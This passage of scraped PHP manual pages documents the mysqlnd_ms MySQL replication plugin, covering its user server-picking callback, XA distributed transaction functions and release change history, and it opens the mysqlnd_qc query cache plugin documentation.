  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
?>

See Also

  • mysqlnd_ms_get_last_gtid() - Returns the latest global transaction ID
  • Service level and consistency concept
  • Filter concept

User Contributed Notes

There are no user contributed notes for this page.


Sets a callback for user-defined read/write splitting

  • « mysqlnd_ms_set_qos
  • mysqlnd_ms_xa_begin »
  • PHP Manual
  • Mysqlnd_ms Functions
  • Sets a callback for user-defined read/write splitting

mysqlnd_ms_set_user_pick_server

(PECL mysqlnd_ms < 1.1.0)

mysqlnd_ms_set_user_pick_server — Sets a callback for user-defined read/write splitting

Description

bool mysqlnd_ms_set_user_pick_server ( string $function )

Sets a callback for user-defined read/write splitting. The plugin will call the callback only if pick[]=user is the default rule for server picking in the relevant section of the plugins configuration file.

The plugins built-in read/write query split mechanism decisions can be overwritten in two ways. The easiest way is to prepend the query string with the SQL hints MYSQLND_MS_MASTER_SWITCH, MYSQLND_MS_SLAVE_SWITCH or MYSQLND_MS_LAST_USED_SWITCH. Using SQL hints one can control, for example, whether a query shall be send to the MySQL replication master server or one of the slave servers. By help of SQL hints it is not possible to pick a certain slave server for query execution.

Full control on server selection can be gained using a callback function. Use of a callback is recommended to expert users only because the callback has to cover all cases otherwise handled by the plugin.

The plugin will invoke the callback function for selecting a server from the lists of configured master and slave servers. The callback function inspects the query to run and picks a server for query execution by returning the hosts URI, as found in the master and slave list.

If the lazy connections are enabled and the callback chooses a slave server for which no connection has been established so far and establishing the connection to the slave fails, the plugin will return an error upon the next action on the failed connection, for example, when running a query. It is the responsibility of the application developer to handle the error. For example, the application can re-run the query to trigger a new server selection and callback invocation. If so, the callback must make sure to select a different slave, or check slave availability, before returning to the plugin to prevent an endless loop.

Parameters

function

The function to be called. Class methods may also be invoked statically using this function by passing array($classname, $methodname) to this parameter. Additionally class methods of an object instance may be called by passing array($objectinstance, $methodname) to this parameter.

Return Values

Host to run the query on. The host URI is to be taken from the master and slave connection lists passed to the callback function. If callback returns a value neither found in the master nor in the slave connection lists the plugin will fallback to the second pick method configured via the pick[] setting in the plugin configuration file. If not second pick method is given, the plugin falls back to the build-in default pick method for server selection.

Notes

Note:

mysqlnd_ms_set_user_pick_server() is available with PECL mysqlnd_ms < 1.1.0. It has been replaced by the user filter. Please, check the Change History for upgrade notes.

Examples

Example #1 mysqlnd_ms_set_user_pick_server() example

[myapp]
master[] = localhost
slave[] = 192.168.2.27:3306
slave[] = 192.168.78.136:3306
pick[] = user
<?php

function pick_server($connected, $query, $master, $slaves, $last_used)
{
 static $slave_idx = 0;
 static $num_slaves = NULL;
 if (is_null($num_slaves))
  $num_slaves = count($slaves);

 /* default: fallback to the plugins build-in logic */
 $ret = NULL;

 printf("User has connected to '%s'...\n", $connected);
 printf("... deciding where to run '%s'\n", $query);

 $where = mysqlnd_ms_query_is_select($query);
 switch ($where)
 {
  case MYSQLND_MS_QUERY_USE_MASTER:
   printf("... using master\n");
   $ret = $master[0];
   break;
  case MYSQLND_MS_QUERY_USE_SLAVE:
   /* SELECT or SQL hint for using slave */
   if (stristr($query, "FROM table_on_slave_a_only"))
   {
    /* a table which is only on the first configured slave  */
    printf("... access to table available only on slave A detected\n");
    $ret = $slaves[0];
   }
   else
   {
    /* round robin */
    printf("... some read-only query for a slave\n");
    $ret = $slaves[$slave_idx++ % $num_slaves];
   }
   break;
  case MYSQLND_MS_QUERY_LAST_USED:
   printf("... using last used server\n");
   $ret = $last_used;
   break;
 }

 printf("... ret = '%s'\n", $ret);
 return $ret;
}

mysqlnd_ms_set_user_pick_server("pick_server");

$mysqli = new mysqli("myapp", "root", "root", "test");

if (!($res = $mysqli->query("SELECT 1 FROM DUAL")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

if (!($res = $mysqli->query("SELECT 2 FROM DUAL")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

if (!($res = $mysqli->query("SELECT * FROM table_on_slave_a_only")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

$mysqli->close();
?>

The above example will output:

User has connected to 'myapp'...
... deciding where to run 'SELECT 1 FROM DUAL'
... some read-only query for a slave
... ret = 'tcp://192.168.2.27:3306'
User has connected to 'myapp'...
... deciding where to run 'SELECT 2 FROM DUAL'
... some read-only query for a slave
... ret = 'tcp://192.168.78.136:3306'
User has connected to 'myapp'...
... deciding where to run 'SELECT * FROM table_on_slave_a_only'
... access to table available only on slave A detected
... ret = 'tcp://192.168.2.27:3306'

See Also

  • mysqlnd_ms_query_is_select() - Find whether to send the query to the master, the slave or the last used MySQL server
  • Filter concept
  • user filter

User Contributed Notes

There are no user contributed notes for this page.


Starts a distributed/XA transaction among MySQL servers

  • « mysqlnd_ms_set_user_pick_server
  • mysqlnd_ms_xa_commit »
  • PHP Manual
  • Mysqlnd_ms Functions
  • Starts a distributed/XA transaction among MySQL servers

mysqlnd_ms_xa_begin

(PECL mysqlnd_ms < 1.6.0)

mysqlnd_ms_xa_begin — Starts a distributed/XA transaction among MySQL servers

Description

int mysqlnd_ms_xa_begin ( mixed $connection , string $gtrid [, int $timeout ] )

Starts a XA transaction among MySQL servers. PECL/mysqlnd_ms acts as a transaction coordinator the distributed transaction.

Once a global transaction has been started, the plugin injects appropriate XA BEGIN SQL statements on all MySQL servers used in the following. The global transaction is either ended by calling mysqlnd_ms_xa_commit(), mysqlnd_ms_xa_rollback() or by an implicit rollback in case of an error.

During a global transaction, the plugin tracks all server switches, for example, when switching from one MySQL shard to another MySQL shard. Immediately before a query is run on a server that has not been participating in the global transaction yet, XA BEGIN is executed on the server. From a users perspective the injection happens during a call to a query execution function such as mysqli_query(). Should the injection fail an error is reported to the caller of the query execution function. The failing server does not become a participant in the global transaction. The user may retry executing a query on the server and hereby retry injecting XA BEGIN, abort the global transaction because not all required servers can participat or, ignore continue the global without the failed server.

Reasons to fail executing XA BEGIN include but are not limited to a server being unreachable or the server having an open, concurrent XA transaction using the same xid.

Please note, global and local transactions are mutually exclusive. You cannot start a XA transaction when you have a local transaction open. The local transaction must be ended first. The plugin tries to detect this conflict as early as possible. It monitors API calls for controlling local transactions to learn about the current state. However, if using SQL statements for local transactions such as BEGIN, the plugin may not know the current state and the conflict is not detected before XA BEGIN is injected and executed.

The use of other XA resources but MySQL servers is not supported by the function. To carry out a global transaction among, for example, a MySQL server and another vendors database system, you should issue the systems SQL commands yourself.

Note: Experimental

The feature is currently under development. There may be issues and/or feature limitations. Do not use in production environments.

Parameters

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

gtrid

Global transaction identifier (gtrid). The gtrid is a binary string upto 64 bytes long. Please note, depending on your character set settings, 64 characters may require more than 64 bytes to store.

In accordance with the MySQL SQL syntax, XA transactions use identifiers made of three parts. An xid consists of a global transaction identifier (gtrid), a branch qualifier (bqual) and a format identifier (formatID). Only the global transaction identifier can and needs to be set.

The branch qualifier and format identifier are set automatically. The details should be considered implementation dependent, which may change without prior notice. In version 1.6 the branch qualifier is consecutive number which is incremented whenever a participant joins the global transaction.

timeout

Timeout in seconds. The default value is 60 seconds.

The timeout is a hint to the garbage collection. If a transaction is recorded to take longer than expected, the garbage collection begins checking the transactions status.

Setting a low value may make the garbage collection check the progress too often. Please note, checking the status of a global transaction may involve connecting to all recorded participants and possibly issueing queries on the servers.

Return Values

Returns TRUE if there is no open local or global transaction and a new global transaction can be started. Otherwise, returns FALSE

See Also

  • Quickstart XA/Distributed transactions
  • Runtime configuration
  • mysqlnd_ms_get_stats() - Returns query distribution and connection statistics

User Contributed Notes

There are no user contributed notes for this page.


Commits a distributed/XA transaction among MySQL servers

  • « mysqlnd_ms_xa_begin
  • mysqlnd_ms_xa_gc »
  • PHP Manual
  • Mysqlnd_ms Functions
  • Commits a distributed/XA transaction among MySQL servers

mysqlnd_ms_xa_commit

(PECL mysqlnd_ms < 1.6.0)

mysqlnd_ms_xa_commit — Commits a distributed/XA transaction among MySQL servers

Description

int mysqlnd_ms_xa_commit ( mixed $connection , string $gtrid )

Commits a global transaction among MySQL servers started by mysqlnd_ms_xa_begin().

If any of the global transaction participants fails to commit an implicit rollback is performed. It may happen that not all cases can be handled during the rollback. For example, no attempts will be made to reconnect to a participant after the connection to the participant has been lost. Solving cases that cannot easily be rolled back is left to the garbage collection.

Note: Experimental

The feature is currently under development. There may be issues and/or feature limitations. Do not use in production environments.

Parameters

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

gtrid

Global transaction identifier (gtrid).

Return Values

Returns TRUE if the global transaction has been comitted. Otherwise, returns FALSE

See Also

  • Quickstart XA/Distributed transactions
  • Runtime configuration
  • mysqlnd_ms_get_stats() - Returns query distribution and connection statistics

User Contributed Notes

There are no user contributed notes for this page.


Garbage collects unfinished XA transactions after severe errors

  • « mysqlnd_ms_xa_commit
  • mysqlnd_ms_xa_rollback »
  • PHP Manual
  • Mysqlnd_ms Functions
  • Garbage collects unfinished XA transactions after severe errors

mysqlnd_ms_xa_gc

(PECL mysqlnd_ms < 1.6.0)

mysqlnd_ms_xa_gc — Garbage collects unfinished XA transactions after severe errors

Description

int mysqlnd_ms_xa_gc ( mixed $connection [, string $gtrid [, boolean $ignore_max_retries ]] )

Garbage collects unfinished XA transactions.

The XA protocol is a blocking protocol. There exist cases when servers participating in a global transaction cannot make progress when the transaction coordinator crashes or disconnects. In such a case, the MySQL servers keep waiting for instructions to finish the XA transaction in question. Because transactions occupy resources, transactions should always be terminated properly.

Garbage collection requires configuring a state store to track global transactions. Should a PHP client crash in the middle of a transaction and a new PHP client be started, then the built-in garbage collection can learn about the aborted global transaction and terminate it. If you do not configure a state store, the garbage collection cannot perform any cleanup tasks.

The state store should be crash-safe and be highly available to survive its own crash. Currently, only MySQL is supported as a state store.

Garbage collection can also be performed automatically in the background. See the plugin configuration directive garbage_collection for details.

Note: Experimental

The feature is currently under development. There may be issues and/or feature limitations. Do not use in production environments.

Parameters

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

gtrid

Global transaction identifier (gtrid). If given, the garbage collection considers the transaction only. Otherwise, the state store is scanned for any unfinished transaction.

ignore_max_retries

Whether to ignore the plugin configuration max_retries setting. If garbage collection continously fails and the max_retries limit is reached prior to finishing the failed global transaction, you can attempt further runs prior to investigating the cause and solving the issue manually by issueing appropriate SQL statements on the participants. Setting the parameter has the same effect as temporarily setting max_retries = 0.

Return Values

Returns TRUE if garbage collection was successful. Otherwise, returns FALSE

See Also

  • Quickstart XA/Distributed transactions
  • Runtime configuration
  • State store configuration
  • mysqlnd_ms_get_stats() - Returns query distribution and connection statistics

User Contributed Notes

There are no user contributed notes for this page.


Rolls back a distributed/XA transaction among MySQL servers

  • « mysqlnd_ms_xa_gc
  • Change History »
  • PHP Manual
  • Mysqlnd_ms Functions
  • Rolls back a distributed/XA transaction among MySQL servers

mysqlnd_ms_xa_rollback

(PECL mysqlnd_ms < 1.6.0)

mysqlnd_ms_xa_rollback — Rolls back a distributed/XA transaction among MySQL servers

Description

int mysqlnd_ms_xa_rollback ( mixed $connection , string $gtrid )

Rolls back a global transaction among MySQL servers started by mysqlnd_ms_xa_begin().

If any of the global transaction participants fails to rollback the situation is left to be solved by the garbage collection.

Note: Experimental

The feature is currently under development. There may be issues and/or feature limitations. Do not use in production environments.

Parameters

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

gtrid

Global transaction identifier (gtrid).

Return Values

Returns TRUE if the global transaction has been rolled back. Otherwise, returns FALSE

See Also

  • Quickstart XA/Distributed transactions
  • Runtime configuration
  • mysqlnd_ms_get_stats() - Returns query distribution and connection statistics

User Contributed Notes

There are no user contributed notes for this page.


Change History

Table of Contents

  • PECL/mysqlnd_ms 1.6 series
  • PECL/mysqlnd_ms 1.5 series
  • PECL/mysqlnd_ms 1.4 series
  • PECL/mysqlnd_ms 1.3 series
  • PECL/mysqlnd_ms 1.2 series
  • PECL/mysqlnd_ms 1.1 series
  • PECL/mysqlnd_ms 1.0 series

This change history is a high level summary of selected changes that may impact applications and/or break backwards compatibility.

See also the CHANGES file in the source distribution for a complete list of changes.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_ms 1.6 series

1.6.0-alpha

  • Release date: TBD
  • Motto/theme: Maintenance and initial MySQL Fabric support

Note:

This is the current development series. All features are at an early stage. Changes may happen at any time without prior notice. Please, do not use this version in production environments.

The documentation may not reflect all changes yet.

Bug fixes

  • Won't fix: #66616 R/W split fails: QOS with mysqlnd_get_last_gtid with built-in MySQL GTID

    This is not a bug in the plugins implementation but a server side feature limitation not considered and documented before. MySQL 5.6 built-in GTIDs cannot be used to ensure session consistency when reading from slaves in all cases. In the worst case the plugin will not consider using the slaves and fallback to using the master. There will be no wrong results but no benefit from doing GTID checks either.

  • Fixed #66064 - Random once load balancer ignoring weights

    Due to a config parsing bug random load balancing has ignored node weights if, and only if, the sticky flag was set (random once).

  • Fixed #65496 - Wrong check for slave delay

    The quality of service filter has erroneously ignored slaves that lag for zero (0) seconds if a any maximum lag had been set. Although a slave was not lagging behind, it was excluded from the load balancing list if a maximum age was set by the QoS filter. This was due to using the wrong comparison operator in the source of the filter.

  • Fixed #65408 - Compile failure with -Werror=format-security

Feature changes

  • Introduced an internal connection pool. When using Fabric and switching from shard group A to shard group B, we are replacing the entire list of masters and slaves. This troubles the connections state alignment logic and some filters. Some filters cache information on the master and slave lists. The new internal connection pool abstraction allows us to inform the filters of changes, hence they can update their caches.

    Later on, the pool can also be used to reduce connection overhead. Assume you are switching from a shard group to another and back again. Whenever the switch is done, the pool's active server (and connection) lists are replaced. However, no longer used connections are not necessarily closed immediately but can be kept in the pool for later reuse.

    Please note, the connection pool is internalat this point. There are some new statistics to monitor it. However, you cannot yet configure pool size of behaviour.

  • Added a basic distributed transaction abstraction. XA transactions can are supported ever since using standard SQL calls. This is inconvenient as XA participants must be managed manually. PECL/mysqlnd_ms introduces API calls to control XA transaction among MySQL servers. When using the new functions, PECL/mysqlnd_ms acts as a transaction coordinator. After starting a distributed transaction, the plugin tracks all servers involved until the transaction is ended and issues appropriate SQL statements on the XA participants.

    This is useful, for example, when using Fabric and sharding. When using Fabric the actual shard servers involved in a business transaction may not be known in advance. Thus, manually controlling a transaction that spawns multiple shards becomes difficult. Please, be warned about current limitations.

  • Introduced automatic retry loop for transient errors and corresponding statistic to count the number of implicit retries. Some distributed database clusters use transient errors to hint a client to retry its operation in a bit. Most often, the client is then supposed to halt execution (sleep) for a short moment before retrying the desired operation. Immediately failing over to another node is not necessary in response to the error. Instead, a retry loop can be performed. Common situation when using MySQL Cluster.

  • Introduced automatic retry loop for transient errors and corresponding statistic to count the number of implicit retries. Some distributed database clusters use transient errors to hint a client to retry its operation in a bit. Most often, the client is then supposed to halt execution (sleep) for a short moment before retrying the desired operation. Immediately failing over to another node is not necessary in response to the error. Instead, a retry loop can be performed. Common situation when using MySQL Cluster.

  • Introduced most basic support for the MySQL Fabric High Availability and sharding framework.

    Please, consider this pre-alpha quality. Both the server side framework and the client side code is supposed to work flawless considering the MySQL Fabric quickstart examples only. However, testing has not been performed to the level of prior plugin alpha releases. Either sides are moving targets, API changes may happen at any time without prior warning.

    As this is work in progress, the manual may not yet reflect allow feature limitations and known bugs.

  • New statistics to monitor the Fabric XML RPC call sharding.lookup_servers: fabric_sharding_lookup_servers_success, fabric_sharding_lookup_servers_failure, fabric_sharding_lookup_servers_time_total, fabric_sharding_lookup_servers_bytes_total, fabric_sharding_lookup_servers_xml_failure.

  • New functions related to MySQL Fabric:

 mysqlnd_ms_fabric_select_shard(),

 mysqlnd_ms_fabric_select_global(),

 mysqlnd_ms_dump_servers().

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_ms 1.5 series

1.5.1-stable

  • Release date: 06/2013
  • Motto/theme: Sharding support, improved transaction support

Note:

This is the current stable series. Use this version in production environments.

The documentation is complete.

1.5.0-alpha

  • Release date: 03/2013
  • Motto/theme: Sharding support, improved transaction support

Bug fixes

  • Fixed #60605 PHP segmentation fault when mysqlnd_ms is enabled.

  • Setting transaction stickiness disables all load balancing, including automatic failover, for the duration of a transaction. So far connection switches could have happened in the middle of a transaction in multi-master configurations and during automatic failover although transaction monitoring had detected transaction boundaries properly.

  • BC break and bug fix. SQL hints enforcing the use of a specific kind of server (MYSQLND_MS_MASTER_SWITCH, MYSQLND_MS_SLAVE_SWITCH, MYSQLND_MS_LAST_USED_SWITCH) are ignored for the duration of a transaction of transaction stickiness is enabled and transaction boundaries have been detected properly.

    This is a change in behaviour. However, it is also a bug fix and a step to align behaviour. If, in previous versions, transaction stickiness, one of the above listed SQL hints and the quality of service filtering was combined it could happened that the SQL hints got ignored. In some case the SQL hints did work, in other cases they did not. The new behaviour is more consistent. SQL hints will always be ignore for the duration of a transaction, if transaction stickiness is enabled.

    Please note, transaction boundary detection continues to be based on API call monitoring. SQL commands controlling transactions are not monitored.

  • BC break and bug fix. Calls to mysqlnd_ms_set_qos() will fail when done in the middle of a transaction if transaction stickiness is enabled. Connection switches are not allowed for the duration of a transaction. Changing the quality of service likely results on a different set of servers qualifying for query execution, possibly making it necessary to switch connections. Thus, the call is not allowed in during an active transaction. The quality of server can, however, be changed in between transactions.

Feature changes

  • Introduced the node_group filter. The filter lets you organize servers (master and slaves) into groups. Queries can be directed to a certain group of servers by prefixing the query statement with a SQL hint/comment that contains the groups configured name. Grouping can be used for partitioning and sharding, and also to optimize for local caching. In the case of sharding, a group name can be thought of like a shard key. All queries for a given shard key will be executed on the configured shard. Note: both the client and server must support sharding for sharding to function with mysqlnd_ms.

  • Extended configuration file validation during PHP startup (RINIT). An E_WARNING level error will be thrown if the configuration file can not be read (permissions), is empty, or the file (JSON) could not be parsed. Warnings may appear in log files, which depending on how PHP is configured.

    Distributions that aim to provide a pre-configured setup, including a configuration file stub, are asked to put {} into the configuration file to prevent this warning about an invalid configuration file.

    Further configuration file validation is done when parsing sections upon opening a connection. Please, note that there may still be situations when an invalid plugin configuration file does not lead to proper error messages but a failure to connect.

  • As of PHP 5.5.0, improved support for transaction boundaries detection was added for mysqli. The mysqli extension has been modified to use the new C API calls of the mysqlnd library to begin, commit, and rollback a transaction or savepoint. If trx_stickiness is used to enable transaction aware load balancing, the mysqli_begin(), mysqli_commit() and mysqli_rollback() functions will now be monitered by the plugin, to go along with the mysqli_autocommit() function that was already supported. All SQL features to control transactions are also available through the improved mysqli transaction control related functions. This means that it is not required to issue SQL statements instead of using API calls. Applications using the appropriate API calls can be load balanced by PECL/mysqlnd_ms in a completely transaction-aware way.

    Please note, PDO_MySQL has not been updated yet to utilize the new mysqlnd API calls. Thus, transaction boundary detection with PDO_MySQL continues to be limited to the monitoring by passing in PDO::ATTR_AUTOCOMMIT to PDO::setAttribute().

  • Introduced trx_stickiness=on. This trx_stickiness option differs from trx_stickiness=master as it tries to execute a read-only transaction on a slave, if quality of service (consistency level) allows the use of a slave. Read-only transactions were introduced in MySQL 5.6, and they offer performance gains.

  • Query cache support is considered beta if used with the mysqli API. It should work fine with primary copy based clusters. For all other APIs, this feature continues to be called experimental.

  • The code examples in the mysqlnd_ms source were updated.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_ms 1.4 series

1.4.2-stable

  • Release date: 08/2012
  • Motto/theme: Tweaking based on user feedback

1.4.1-beta

  • Release date: 08/2012
  • Motto/theme: Tweaking based on user feedback

Bug fixes

  • Fixed build with PHP 5.5

1.4.0-alpha

  • Release date: 07/2012
  • Motto/theme: Tweaking based on user feedback

Feature changes

  • BC break: Renamed plugin configuration setting ini_file to config_file. In early versions the plugin configuration file used ini style. Back then the configuration setting was named accordingly. It has now been renamed to reflect the newer file format and to distinguish it from PHP's own ini file (configuration directives file).

  • Introduced new default charset setting server_charset to allow proper escaping before a connection is opened. This is most useful when using lazy connections, which are a default.

  • Introduced wait_for_gtid_timeout setting to throttle slave reads that need session consistency. If global transaction identifier are used and the service level is set to session consistency, the plugin tries to find up-to-date slaves. The slave status check is done by a SQL statement. If nothing else is set, the slave status is checked only one can the search for more up-to-date slaves continues immediately thereafter. Setting wait_for_gtid_timeout instructs the plugin to poll a slaves status for wait_for_gtid_timeout seconds if the first execution of the SQL statement has shown that the slave is not up-to-date yet. The poll will be done once per second. This way, the plugin will wait for slaves to catch up and throttle the client.

  • New failover strategy loop_before_master. By default the plugin does no failover. It is possible to enable automatic failover if a connection attempt fails. Upto version 1.3 only master strategy existed to failover to a master if a slave connection fails. loop_before_master is similar but tries all other slaves before attempting to connect to the master if a slave connection fails.

    The number of attempts can be limited using the max_retries option. Failed hosts can be remembered and skipped in load balancing for the rest of the web request. max_retries and remember_failed are considered experimental although decent stability is given. Syntax and semantics may change in the future without prior notice.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_ms 1.3 series

1.3.2-stable

  • Release date: 04/2012
  • Motto/theme: see 1.3.0-alpha

Bug fixes

  • Fixed problem with multi-master where although in a transaction the queries to the master weren't sticky and were spread all over the masters (RR). Still not sticky for Random. Random_once is not affected.

1.3.1-beta

  • Release date: 04/2012
  • Motto/theme: see 1.3.0-alpha

Bug fixes

  • Fixed problem with building together with QC.

1.3.0-alpha

  • Release date: 04/2012
  • Motto/theme: Query caching through quality-of-service concept

The 1.3 series aims to improve the performance of applications and the overall load of an asynchronous MySQL cluster, for example, a MySQL cluster using MySQL Replication. This is done by transparently replacing a slave access with a local cache access, if the application allows it by setting an appropriate quality of service flag. When using MySQL replication a slave can serve stale data. An application using MySQL replication must continue to work correctly with stale data. Given that the application is know to work correctly with stale data, the slave access can transparently be replace with a local cache access.

PECL/mysqlnd_qc serves as a cache backend. PECL/mysqlnd_qc supports use of various storage locations, among others main memory, APC and MEMCACHE.

Feature changes

  • Added cache option to quality-of-service (QoS) filter.

    • New configure option enable-mysqlnd-ms-cache-support
    • New constant MYSQLND_MS_HAVE_CACHE_SUPPORT.
    • New constant MYSQLND_MS_QOS_OPTION_CACHE to be used with mysqlnd_ms_set_qos().

  • Support for built-in global transaction identifier feature of MySQL 5.6.5-m8 or newer.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_ms 1.2 series

1.2.1-beta

  • Release date: 01/2012
  • Motto/theme: see 1.2.0-alpha

Minor test changes.

1.2.0-alpha

  • Release date: 11/2011
  • Motto/theme: Global Transaction ID injection and quality-of-service concept

In version 1.2 the focus continues to be on supporting MySQL database clusters with asynchronous replication. The plugin tries to make using the cluster introducing a quality-of-service filter which applications can use to define what service quality they need from the cluster. Service levels provided are eventual consistency with optional maximum age/slave slag, session consistency and strong consistency.

Additionally the plugin can do client-side global transaction id injection to make manual master failover easier.

Feature changes

  • Introduced quality-of-service (QoS) filter. Service levels provided by QoS filter:

    • eventual consistency, optional option slave lag
    • session consistency, optional option GTID
    • strong consistency

  • Added the mysqlnd_ms_set_qos() function to set the required connection quality at runtime. The new constants related to mysqlnd_ms_set_qos() are:

    • MYSQLND_MS_QOS_CONSISTENCY_STRONG
    • MYSQLND_MS_QOS_CONSISTENCY_SESSION
    • MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL
    • MYSQLND_MS_QOS_OPTION_GTID
    • MYSQLND_MS_QOS_OPTION_AGE

  • Added client-side global transaction id injection (GTID).

  • New statistics related to GTID:

    • gtid_autocommit_injections_success
    • gtid_autocommit_injections_failure
    • gtid_commit_injections_success
    • gtid_commit_injections_failure
    • gtid_implicit_commit_injections_success
    • gtid_implicit_commit_injections_failure

  • Added mysqlnd_ms_get_last_gtid() to fetch the last global transaction id.

  • Enabled support for multi master without slaves.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_ms 1.1 series

1.1.0

  • Release date: 09/2011
  • Motto/theme: Cover replication basics with production quality

The 1.1 and 1.0 series expose a similar feature set. Internally, the 1.1 series has been refactored to plan for future feature additions. A new configuration file format has been introduced, and limitations have been lifted. And the code quality and quality assurance has been improved.

Feature changes

  • Added the (chainable) filter concept:

    • BC break: mysqlnd_ms_set_user_pick_server() has been removed. Thehttp://svn.php.net/viewvc/pecl/mysqlnd_ms/trunk/ user filter has been introduced to replace it. The filter offers similar functionality, but see below for an explanation of the differences.

  • New powerful JSON based configuration syntax.
  • Lazy connections improved: security relevant, and state changing commands are covered.
  • Support for (native) prepared statements.

  • New statistics: use_master_guess, use_slave_guess.

    • BC break: Semantics of statistics changed for use_slave, use_master. Future changes are likely. Please see, mysqlnd_ms_get_stats().

  • List of broadcasted messages extended by ssl_set.
  • Library calls now monitored to remember settings for lazy connections: change_user, select_db, set_charset, set_autocommit.
  • Introduced mysqlnd_ms.disable_rw_split. The configuration setting allows using the load balancing and lazy connection functionality independently of read write splitting.

Bug fixes

  • Fixed PECL #22724 - Server switching (mysqlnd_ms_query_is_select() case sensitive)
  • Fixed PECL #22784 - Using mysql_connect and mysql_select_db did not work
  • Fixed PECL #59982 - Unusable extension with --enable-mysqlnd-ms-table-filter. Use of the option is NOT supported. You must not used it. Added note to m4.
  • Fixed Bug #60119 - host="localhost" lost in mysqlnd_ms_get_last_used_connection()

The mysqlnd_ms_set_user_pick_server() function was removed, and replaced in favor of a new user filter. You can no longer set a callback function using mysqlnd_ms_set_user_pick_server() at runtime, but instead have to configure it in the plugins configuration file. The user filter will pass the same arguments to the callback as before. Therefore, you can continue to use the same procedural function as a callback.callback It is no longer possible to use static class methods, or class methods of an object instance, as a callback. Doing so will cause the function executing a statement handled by the plugin to emit an E_RECOVERABLE_ERROR level error, which might look like: "(mysqlnd_ms) Specified callback (picker) is not a valid callback." Note: this may halt your application.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_ms 1.0 series

1.0.1-alpha

  • Release date: 04/2011
  • Motto/theme: bug fix release

1.0.0-alpha

  • Release date: 04/2011
  • Motto/theme: Cover replication basics to test user feedback

The first release of practical use. It features basic automatic read-write splitting, SQL hints to overrule automatic redirection, load balancing of slave requests, lazy connections, and optional, automatic use of the master after the first write.

The public feature set is close to that of the 1.1 release.

1.0.0-pre-alpha

  • Release date: 09/2010
  • Motto/theme: Proof of concept

Initial check-in. Essentially a demo of the mysqlnd plugin API.

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd query result cache plugin

  • Introduction
  • Quickstart and Examples
    • Architecture and Concepts
    • Setup
    • Caching queries
    • Setting the TTL
    • Pattern based caching
    • Slam defense
    • Finding cache candidates
    • Measuring cache efficiency
    • Beyond TTL: user-defined storage
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
  • Predefined Constants
  • mysqlnd_qc Functions
    • mysqlnd_qc_clear_cache — Flush all cache contents
    • mysqlnd_qc_get_available_handlers — Returns a list of available storage handler
    • mysqlnd_qc_get_cache_info — Returns information on the current handler, the number of cache entries and cache entries, if available
    • mysqlnd_qc_get_core_stats — Statistics collected by the core of the query cache
    • mysqlnd_qc_get_normalized_query_trace_log — Returns a normalized query trace log for each query inspected by the query cache
    • mysqlnd_qc_get_query_trace_log — Returns a backtrace for each query inspected by the query cache
    • mysqlnd_qc_set_cache_condition — Set conditions for automatic caching
    • mysqlnd_qc_set_is_select — Installs a callback which decides whether a statement is cached
    • mysqlnd_qc_set_storage_handler — Change current storage handler
    • mysqlnd_qc_set_user_handlers — Sets the callback functions for a user-defined procedural storage handler
  • Change History
    • PECL/mysqlnd_qc 1.2 series
    • PECL/mysqlnd_qc 1.1 series
    • PECL/mysqlnd_qc 1.0 series

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The mysqlnd query result cache plugin adds easy to use client-side query caching to all PHP MySQL extensions using mysqlnd.

As of version PHP 5.3.3 the MySQL native driver for PHP ( mysqlnd) features an internal plugin C API. C plugins, such as the query cache plugin, can extend the functionality of mysqlnd.

Mysqlnd plugins such as the query cache plugin operate transparent from a user perspective. The cache plugin supports all PHP applications and all PHP MySQL extensions ( mysqli, mysql, PDO_MYSQL). It does not change existing APIs.

No significant application changes are required to cache a query. The cache has two operation modes. It will either cache all queries (not recommended) or only those queries marked with a certain SQL hint (recommended).

Key Features

  • Transparent and therefore easy to use

    • supports all PHP MySQL extensions

    • no API changes

    • very little application changes required

  • Flexible invalidation strategy

    • Time-to-Live (TTL)

    • user-defined

  • Storage with different scope and life-span

    • Default (Hash, process memory)

    • APC

    • MEMCACHE

    • sqlite

    • user-defined

  • Built-in slam defense to prevent cache stampeding.

Limitations

The current 1.0.1 release of PECL mysqlnd_qc does not support PHP 5.4. Version 1.1.0-alpha lifts this limitation.

Prepared statements and unbuffered queries are fully supported. Thus, the plugin is capable of caching all statements issued with mysqli or PDO_MySQL, which are the only two PHP MySQL APIs to offer prepared statement support.

On the name

The shortcut mysqlnd_qc stands for mysqlnd query cache plugin. The name was chosen for a quick-and-dirty proof-of-concept. In the beginning the developers did not expect to continue using the code base. Sometimes PECL/mysqlnd_qc has also been called client-side query result set cache.

User Contributed Notes

There are no user contributed notes for this page.


Quickstart and Examples

Table of Contents

  • Architecture and Concepts
  • Setup
  • Caching queries
  • Setting the TTL
  • Pattern based caching
  • Slam defense
  • Finding cache candidates
  • Measuring cache efficiency
  • Beyond TTL: user-defined storage

The mysqlnd query cache plugin is easy to use. This quickstart will demo typical use-cases, and provide practical advice on getting started.

It is strongly recommended to read the reference sections in addition to the quickstart. It is safe to begin with the quickstart. However, before using the plugin in mission critical environments we urge you to read additionally the background information from the reference sections.

Most of the examples use the mysqli extension because it is the most feature complete PHP MySQL extension. However, the plugin can be used with any PHP MySQL extension that is using the mysqlnd library.

User Contributed Notes

There are no user contributed notes for this page.


Architecture and Concepts

